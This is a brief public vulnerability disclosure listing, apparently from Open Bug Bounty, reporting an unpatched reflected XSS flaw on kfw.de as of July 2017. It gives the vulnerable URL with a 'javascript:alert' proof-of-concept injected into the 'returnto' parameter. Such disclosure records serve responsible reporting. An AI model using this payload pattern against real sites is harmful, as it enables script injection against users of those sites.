kfw.de XSS vulnerability

Vulnerable URL: https://www.kfw.de/Haftungsausschlusserkl%C3%A4rung-2.html?returnto=javascript:alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 48255 VIP website...